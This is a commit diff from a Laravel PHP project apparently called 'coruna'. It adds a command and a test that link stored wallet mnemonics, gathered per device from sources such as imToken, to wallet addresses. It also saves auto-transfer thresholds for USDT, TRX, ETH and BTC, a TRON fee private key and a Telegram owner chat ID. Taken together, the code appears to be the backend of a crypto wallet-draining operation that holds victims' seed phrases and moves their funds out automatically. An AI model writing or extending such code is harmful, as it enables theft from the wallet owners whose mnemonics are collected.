feat: autotransfer
This commit is contained in:
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\MnemonicAddressLinker;
|
||||
use Illuminate\Console\Command;
|
||||
|
||||
class LinkMnemonicsCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:link-mnemonics';
|
||||
|
||||
protected $description = 'Backfill wallet_addresses.mnemonic_id for existing rows (BIP44 index 0..4)';
|
||||
|
||||
public function handle(MnemonicAddressLinker $linker): int
|
||||
{
|
||||
$before = WalletAddress::query()->whereNull('mnemonic_id')->count();
|
||||
$this->info("unlinked addresses before: {$before}");
|
||||
|
||||
$result = $linker->backfill();
|
||||
|
||||
$after = WalletAddress::query()->whereNull('mnemonic_id')->count();
|
||||
$this->info(sprintf(
|
||||
'scanned mnemonics=%d linked=%d unlinked_after=%d',
|
||||
$result['mnemonics'],
|
||||
$result['linked'],
|
||||
$after,
|
||||
));
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
}
|
||||
@@ -18,8 +18,13 @@ class SystemSettingsController extends Controller
|
||||
$fetched = $telegram->fetchBotUsername($token);
|
||||
if ($fetched !== null) {
|
||||
$username = ltrim($fetched, '@');
|
||||
$settings->putMany(['telegram.bot_username' => $username]);
|
||||
$form['telegram.bot_username'] = $username;
|
||||
try {
|
||||
$settings->putMany(['telegram.bot_username' => $username]);
|
||||
} catch (\Throwable) {
|
||||
// Display works from runtime config; .env may be read-only for www.
|
||||
config(['coruna.telegram.bot_username' => $username]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -64,18 +69,25 @@ class SystemSettingsController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
$settings->putMany([
|
||||
'telegram.bot_username' => $username !== '' ? $username : null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||
]);
|
||||
try {
|
||||
$settings->putMany([
|
||||
'telegram.bot_username' => $username !== '' ? $username : null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '保存失败:'.$e->getMessage().'(请让运行 PHP 的用户可写项目根目录 .env,或用 shell 直接改 .env)',
|
||||
], 500);
|
||||
}
|
||||
|
||||
$display = $telegram->formatBotUsername($username);
|
||||
|
||||
|
||||
@@ -139,6 +139,28 @@ class MnemonicAddressLinker
|
||||
return $linked;
|
||||
}
|
||||
|
||||
/**
|
||||
* Backfill: for every mnemonic, link still-unlinked addresses on the same device
|
||||
* when BIP44 index 0..4 matches.
|
||||
*
|
||||
* @return array{mnemonics: int, linked: int}
|
||||
*/
|
||||
public function backfill(): array
|
||||
{
|
||||
$mnemonics = 0;
|
||||
$linked = 0;
|
||||
|
||||
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
|
||||
$mnemonics++;
|
||||
$linked += $this->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
|
||||
return [
|
||||
'mnemonics' => $mnemonics,
|
||||
'linked' => $linked,
|
||||
];
|
||||
}
|
||||
|
||||
private function resolveDriver(string $chainType): ?ChainDriver
|
||||
{
|
||||
$chain = strtolower(trim($chainType));
|
||||
|
||||
@@ -246,4 +246,33 @@ class MnemonicAddressLinkTest extends TestCase
|
||||
$this->assertNotNull($addr->mnemonic_id);
|
||||
$this->assertSame(0, $addr->derive_index);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function backfill_links_existing_unlinked_addresses(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-backfill-1']);
|
||||
$mnemonic = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$mnemonic->mnemonic = self::MNEMONIC;
|
||||
$mnemonic->save();
|
||||
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => self::TRON_0,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'monitor' => 0,
|
||||
]);
|
||||
$this->assertNull($addr->mnemonic_id);
|
||||
|
||||
$this->artisan('coruna:link-mnemonics')
|
||||
->expectsOutputToContain('linked=1')
|
||||
->assertSuccessful();
|
||||
|
||||
$addr->refresh();
|
||||
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
||||
$this->assertSame(0, $addr->derive_index);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user